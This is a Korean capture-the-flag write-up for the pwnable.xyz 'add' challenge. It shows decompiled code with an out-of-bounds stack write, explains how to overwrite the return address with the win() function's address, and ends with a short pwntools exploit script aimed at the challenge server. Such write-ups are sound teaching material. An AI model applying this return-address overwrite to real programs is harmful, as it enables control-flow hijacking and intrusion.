[pwnable.xyz]add
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
__int64 v4; // [rsp+8h] [rbp-78h]
__int64 v5; // [rsp+10h] [rbp-70h]
__int64 v6; // [rsp+18h] [rbp-68h]
__int64 v7[11]; // [rsp+20h] [rbp-60h]
unsigned __int64 v8; // [rsp+78h] [rbp-8h]
v8 = __readfsqword(0x28u);
setup();
while ( 1 )
{
v4 = 0LL;
v5 = 0LL;
v6 = 0LL;
memset(v7, 0, 80uLL);
printf("Input: ", argv, v7);
if ( __isoc99_scanf("%ld %ld %ld", &v4, &v5, &v6) != 3 )
break;
v7[v6] = v4 + v5;
argv = v7[v6];
printf("Result: %ld", argv);
}
result = 0;
__readfsqword(40u);
return result;
}
v7에서 OOB가 일어난다.
v7의 v6 인덱스에 v4+v5한 값을 넣어주는데 여기서 취약점이 터진다.
v4+v5로 리턴할 위치 잡아주고 v6로 ret에 맞춰주면 된다.
v7의 위치가 rbp-0x60이니까 v6의 인덱스 값을 rbp+0x8로 ret위치로 맞춰주면 된다.
근데 __int64니까 한 인덱스당 8바이트 크기만큼 가질것이다.
0x68 / 8 = 13이니까 v6에는 13값을 넣고 v4 + v5를 win()주소로 바꿔주면 된다. (v4+v5는 %d로 입력받아서 10진수로 넣어주면 된다.
mov rdx,QWORD PTR [rbp-0x70]
mov QWORD PTR [rbp+rax*8-0x60],rd
Input : 1094795585(0x4141414141) 0 13 이렇게 넣고 rbp+rax*8-0x60 이후 리턴(rbp+8)의 위치를 보면 잘 들어간걸 알 수 있다.
이제 리턴값도 맞췄겠다 리턴을 해주면 되는데 scanf에서 3이 아니면 break로 빠져나가는 걸 이용하면 된다.
if ( __isoc99_scanf("%ld %ld %ld", &v4, &v5, &v6) != 3 ) break;
exploit.py
from pwn import *
e = ELF('./challenge')
p = remote('svc.pwnable.xyz',30002)
p.sendlineafter(': ',str(0x400822) + ' 0 13')
p.sendlineafter(': ','A')
p.interactive()